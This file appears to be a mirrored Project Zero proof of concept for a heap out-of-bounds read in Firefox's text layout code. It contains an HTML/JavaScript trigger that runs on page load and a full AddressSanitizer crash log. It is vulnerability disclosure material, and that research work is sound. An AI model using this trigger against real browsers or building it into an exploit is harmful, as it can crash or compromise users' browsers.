207 lines
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23 KiB
HTML
207 lines
No EOL
23 KiB
HTML
<!--
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1160
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Mozilla bug tracker link: https://bugzilla.mozilla.org/show_bug.cgi?id=1343552
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There is an out-of-bounds read vulnerability in Firefox. The vulnerability was confirmed on the nightly ASan build.
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PoC:
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=================================================================
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-->
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<style>
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.class1 { float: left; white-space: pre-line; }
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.class2 { border-bottom-style: solid; font-face: Arial; font-size: 7ex; }
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</style>
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<script>
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function go() {
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menuitem.appendChild(document.body.firstChild);
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canvas.toBlob(callback);
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}
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function callback() {
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var s = menu.style;
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s.setProperty("flex-direction", "row-reverse");
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option.scrollBy();
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document.implementation.createHTMLDocument("foo").adoptNode(progress);
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s.setProperty("flex-direction", "column");
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canvas.toBlob(callback);
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}
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</script>
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aaaaaaaaaaaaaaaaaa
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</head>
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<body onload=go()>
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<del class="class1">
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<span class="class2">
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<menu id="menu">
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<menuitem>
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</menu>
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<menuitem id="menuitem">
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<progress id="progress">
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</del>
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<ol dir="rtl">l+0</ol>
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<canvas id="canvas">
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<option id="option">
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<!--
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=================================================================
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ASan log:
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=================================================================
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==104545==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000721ecc at pc 0x7fcef25af0e8 bp 0x7ffc23afd1b0 sp 0x7ffc23afd1a8
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READ of size 4 at 0x611000721ecc thread T0
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#0 0x7fcef25af0e7 in IsSimpleGlyph /home/worker/workspace/build/src/gfx/thebes/gfxFont.h:785:46
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#1 0x7fcef25af0e7 in GetAdvanceForGlyph /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.h:638
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#2 0x7fcef25af0e7 in GetAdvanceForGlyphs /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:334
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#3 0x7fcef25af0e7 in gfxTextRun::GetAdvanceWidth(gfxTextRun::Range, gfxTextRun::PropertyProvider*, gfxFont::Spacing*) const /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:1074
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#4 0x7fcef704ac7c in nsTextFrame::TrimTrailingWhiteSpace(mozilla::gfx::DrawTarget*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:9654:15
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#5 0x7fcef6d2a2ef in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2584:44
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#6 0x7fcef6d2a1c7 in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2531:11
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#7 0x7fcef6d2a1c7 in nsLineLayout::TrimTrailingWhiteSpaceIn(nsLineLayout::PerSpanData*, int*) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2531:11
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#8 0x7fcef6d2b293 in nsLineLayout::TrimTrailingWhiteSpace() /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:2654:3
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#9 0x7fcef6dcc03b in nsBlockFrame::PlaceLine(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFloatManager::SavedState*, mozilla::LogicalRect&, int&, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4479:3
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#10 0x7fcef6dcabe3 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4082:12
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#11 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
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#12 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
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#13 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
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#14 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
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#15 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
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#16 0x7fcef6dd9001 in nsBlockFrame::ReflowFloat(mozilla::BlockReflowInput&, mozilla::LogicalRect const&, nsIFrame*, mozilla::LogicalMargin&, mozilla::LogicalMargin&, bool, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:6272:5
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#17 0x7fcef6d4d19f in mozilla::BlockReflowInput::FlowAndPlaceFloat(nsIFrame*) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:910:5
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#18 0x7fcef6d4b143 in mozilla::BlockReflowInput::AddFloat(nsLineLayout*, nsIFrame*, int) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:627:14
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#19 0x7fcef6d21369 in AddFloat /home/worker/workspace/build/src/layout/generic/nsLineLayout.h:190:12
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#20 0x7fcef6d21369 in nsLineLayout::ReflowFrame(nsIFrame*, nsReflowStatus&, mozilla::ReflowOutput*, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:979
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#21 0x7fcef6dcb7bb in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4153:3
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#22 0x7fcef6dca446 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3954:5
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#23 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
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#24 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
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#25 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
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#26 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
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#27 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
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#28 0x7fcef6dbc4da in nsBlockFrame::ReflowBlockFrame(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3462:7
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#29 0x7fcef6dafafa in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2831:5
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#30 0x7fcef6dafafa in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
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#31 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
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#32 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
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#33 0x7fcef6e09555 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5
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#34 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
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#35 0x7fcef6eb0394 in nsHTMLScrollFrame::ReflowScrolledFrame(mozilla::ScrollReflowInput*, bool, bool, mozilla::ReflowOutput*, bool) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:552:3
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#36 0x7fcef6eb1840 in nsHTMLScrollFrame::ReflowContents(mozilla::ScrollReflowInput*, mozilla::ReflowOutput const&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:664:3
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#37 0x7fcef6eb5073 in nsHTMLScrollFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsGfxScrollFrame.cpp:1039:3
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#38 0x7fcef6e1b964 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, int, int, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1072:3
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#39 0x7fcef6d8b760 in mozilla::ViewportFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/ViewportFrame.cpp:326:7
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#40 0x7fcef6b89187 in mozilla::PresShell::DoReflow(nsIFrame*, bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9202:3
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#41 0x7fcef6b9cde4 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9375:24
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#42 0x7fcef6b9bcf6 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4174:11
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#43 0x7fcef2c4646e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:598:5
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#44 0x7fcef2c4646e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:7961
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#45 0x7fcef2a1f2b4 in GetPrimaryFrame /home/worker/workspace/build/src/dom/base/Element.cpp:2164:5
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#46 0x7fcef2a1f2b4 in mozilla::dom::Element::GetScrollFrame(nsIFrame**, bool) /home/worker/workspace/build/src/dom/base/Element.cpp:637
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#47 0x7fcef2a20871 in mozilla::dom::Element::ScrollBy(mozilla::dom::ScrollToOptions const&) /home/worker/workspace/build/src/dom/base/Element.cpp:794:28
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#48 0x7fcef4112002 in mozilla::dom::ElementBinding::scrollBy(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:2492:7
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#49 0x7fcef45cdd27 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2953:13
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#50 0x7fcefa0cc04f in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:282:15
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#51 0x7fcefa0cc04f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:448
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#52 0x7fcefa0b2970 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:499:12
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#53 0x7fcefa0b2970 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2955
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#54 0x7fcefa097c9b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:394:12
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#55 0x7fcefa0cc366 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:466:15
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#56 0x7fcefa0cca42 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:512:10
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#57 0x7fcefaa9cd1c in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2878:12
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#58 0x7fcef4242c05 in mozilla::dom::BlobCallback::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Blob*, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLCanvasElementBinding.cpp:81:8
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#59 0x7fcef475613f in Call /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/HTMLCanvasElementBinding.h:180:12
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#60 0x7fcef475613f in mozilla::dom::CanvasRenderingContextHelper::ToBlob(JSContext*, nsIGlobalObject*, mozilla::dom::BlobCallback&, nsAString_internal const&, JS::Handle<JS::Value>, mozilla::ErrorResult&)::EncodeCallback::ReceiveBlob(already_AddRefed<mozilla::dom::Blob>) /home/worker/workspace/build/src/dom/canvas/CanvasRenderingContextHelper.cpp:56
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#61 0x7fcef2acde86 in mozilla::dom::EncodingCompleteEvent::Run() /home/worker/workspace/build/src/dom/base/ImageEncoder.cpp:105:12
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#62 0x7fcef0217012 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1264:7
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#63 0x7fcef02138c0 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:389:10
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#64 0x7fcef10322bf in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
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#65 0x7fcef0fa3658 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:3
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#66 0x7fcef0fa3658 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
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#67 0x7fcef0fa3658 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
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#68 0x7fcef63ffdbf in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
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#69 0x7fcef9a88d81 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
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#70 0x7fcef9c5243c in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4476:10
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#71 0x7fcef9c53f38 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4654:8
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#72 0x7fcef9c551fc in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4745:16
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#73 0x4dffaf in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:237:10
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#74 0x4dffaf in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:308
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#75 0x7fcf0b63282f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
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#76 0x41c3d8 in _start (/home/ifratric/p0/latest/firefox/firefox+0x41c3d8)
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0x611000721ecc is located 0 bytes to the right of 204-byte region [0x611000721e00,0x611000721ecc)
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allocated by thread T0 here:
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#0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
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#1 0x7fcef25b9900 in AllocateStorageForTextRun /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:122:21
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#2 0x7fcef25b9900 in Create /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:139
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#3 0x7fcef25b9900 in gfxFontGroup::MakeTextRun(unsigned char const*, unsigned int, gfxTextRunFactory::Parameters const*, unsigned int, gfxMissingFontRecorder*) /home/worker/workspace/build/src/gfx/thebes/gfxTextRun.cpp:2075
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#4 0x7fcef6ff6f49 in BuildTextRunsScanner::BuildTextRunForFrames(void*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2394:17
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#5 0x7fcef6fefe0b in BuildTextRunsScanner::FlushFrames(bool, bool) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1633:17
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#6 0x7fcef6ffb09d in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1902:9
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#7 0x7fcef6ffb72f in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1942:5
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#8 0x7fcef6ffb72f in BuildTextRunsScanner::ScanFrame(nsIFrame*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1942:5
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#9 0x7fcef7003a8a in BuildTextRuns /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:1534:7
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#10 0x7fcef7003a8a in nsTextFrame::EnsureTextRun(nsTextFrame::TextRunType, mozilla::gfx::DrawTarget*, nsIFrame*, nsLineList_iterator const*, unsigned int*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:2860
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#11 0x7fcef703d429 in nsTextFrame::AddInlineMinISizeForFlow(nsRenderingContext*, nsIFrame::InlineMinISizeData*, nsTextFrame::TextRunType) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8329:5
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#12 0x7fcef70405ef in nsTextFrame::AddInlineMinISize(nsRenderingContext*, nsIFrame::InlineMinISizeData*) /home/worker/workspace/build/src/layout/generic/nsTextFrame.cpp:8499:7
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#13 0x7fcef6e1a982 in nsContainerFrame::DoInlineIntrinsicISize(nsRenderingContext*, nsIFrame::InlineIntrinsicISizeData*, nsLayoutUtils::IntrinsicISizeType) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:897:9
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#14 0x7fcef6e1a982 in nsContainerFrame::DoInlineIntrinsicISize(nsRenderingContext*, nsIFrame::InlineIntrinsicISizeData*, nsLayoutUtils::IntrinsicISizeType) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:897:9
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#15 0x7fcef6d9f622 in nsBlockFrame::GetMinISize(nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:774:11
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#16 0x7fcef6e1b150 in ShrinkWidthToFit /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:5566:22
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#17 0x7fcef6e1b150 in nsContainerFrame::ComputeAutoSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:942
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#18 0x7fcef6e2260e in nsFrame::ComputeSize(nsRenderingContext*, mozilla::WritingMode, mozilla::LogicalSize const&, int, mozilla::LogicalSize const&, mozilla::LogicalSize const&, mozilla::LogicalSize const&, nsIFrame::ComputeSizeFlags) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:4822:24
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#19 0x7fcef6d4fb36 in FloatMarginISize(mozilla::ReflowInput const&, int, nsIFrame*, mozilla::SizeComputationInput const&) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:692:5
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#20 0x7fcef6d4c21f in mozilla::BlockReflowInput::FlowAndPlaceFloat(nsIFrame*) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:757:30
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#21 0x7fcef6d4b143 in mozilla::BlockReflowInput::AddFloat(nsLineLayout*, nsIFrame*, int) /home/worker/workspace/build/src/layout/generic/BlockReflowInput.cpp:627:14
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#22 0x7fcef6d21369 in AddFloat /home/worker/workspace/build/src/layout/generic/nsLineLayout.h:190:12
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#23 0x7fcef6d21369 in nsLineLayout::ReflowFrame(nsIFrame*, nsReflowStatus&, mozilla::ReflowOutput*, bool&) /home/worker/workspace/build/src/layout/generic/nsLineLayout.cpp:979
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#24 0x7fcef6dcb7bb in nsBlockFrame::ReflowInlineFrame(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsIFrame*, LineReflowStatus*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:4153:3
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#25 0x7fcef6dca446 in nsBlockFrame::DoReflowInlineFrames(mozilla::BlockReflowInput&, nsLineLayout&, nsLineList_iterator, nsFlowAreaRect&, int&, nsFloatManager::SavedState*, bool*, LineReflowStatus*, bool) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3954:5
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#26 0x7fcef6dc0d6c in nsBlockFrame::ReflowInlineFrames(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3828:9
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#27 0x7fcef6dafacf in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2834:5
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#28 0x7fcef6dafacf in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
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#29 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
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#30 0x7fcef6dc6e8d in nsBlockReflowContext::ReflowBlock(mozilla::LogicalRect const&, bool, nsCollapsingMargin&, int, bool, nsLineBox*, mozilla::ReflowInput&, nsReflowStatus&, mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockReflowContext.cpp:306:3
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#31 0x7fcef6dbc4da in nsBlockFrame::ReflowBlockFrame(mozilla::BlockReflowInput&, nsLineList_iterator, bool*) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:3462:7
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#32 0x7fcef6dafafa in ReflowLine /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2831:5
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#33 0x7fcef6dafafa in nsBlockFrame::ReflowDirtyLines(mozilla::BlockReflowInput&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:2370
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#34 0x7fcef6da5c1a in nsBlockFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsBlockFrame.cpp:1237:3
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#35 0x7fcef6e0ada0 in nsContainerFrame::ReflowChild(nsIFrame*, nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, mozilla::WritingMode const&, mozilla::LogicalPoint const&, nsSize const&, unsigned int, nsReflowStatus&, nsOverflowContinuationTracker*) /home/worker/workspace/build/src/layout/generic/nsContainerFrame.cpp:1028:3
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#36 0x7fcef6e09555 in nsCanvasFrame::Reflow(nsPresContext*, mozilla::ReflowOutput&, mozilla::ReflowInput const&, nsReflowStatus&) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:711:5
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SUMMARY: AddressSanitizer: heap-buffer-overflow /home/worker/workspace/build/src/gfx/thebes/gfxFont.h:785:46 in IsSimpleGlyph
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Shadow bytes around the buggy address:
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0x0c22800dc380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c22800dc390: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
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0x0c22800dc3a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
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0x0c22800dc3b0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
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0x0c22800dc3c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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=>0x0c22800dc3d0: 00 00 00 00 00 00 00 00 00[04]fa fa fa fa fa fa
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0x0c22800dc3e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
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0x0c22800dc3f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
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0x0c22800dc400: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
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0x0c22800dc410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
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0x0c22800dc420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
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Shadow byte legend (one shadow byte represents 8 application bytes):
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Addressable: 00
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Partially addressable: 01 02 03 04 05 06 07
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Heap left redzone: fa
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Heap right redzone: fb
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Freed heap region: fd
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Stack left redzone: f1
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Stack mid redzone: f2
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Stack right redzone: f3
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Stack partial redzone: f4
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Stack after return: f5
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Stack use after scope: f8
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Global redzone: f9
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Global init order: f6
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Poisoned by user: f7
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Container overflow: fc
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Array cookie: ac
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Intra object redzone: bb
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ASan internal: fe
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Left alloca redzone: ca
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Right alloca redzone: cb
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==104545==ABORTING
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--> |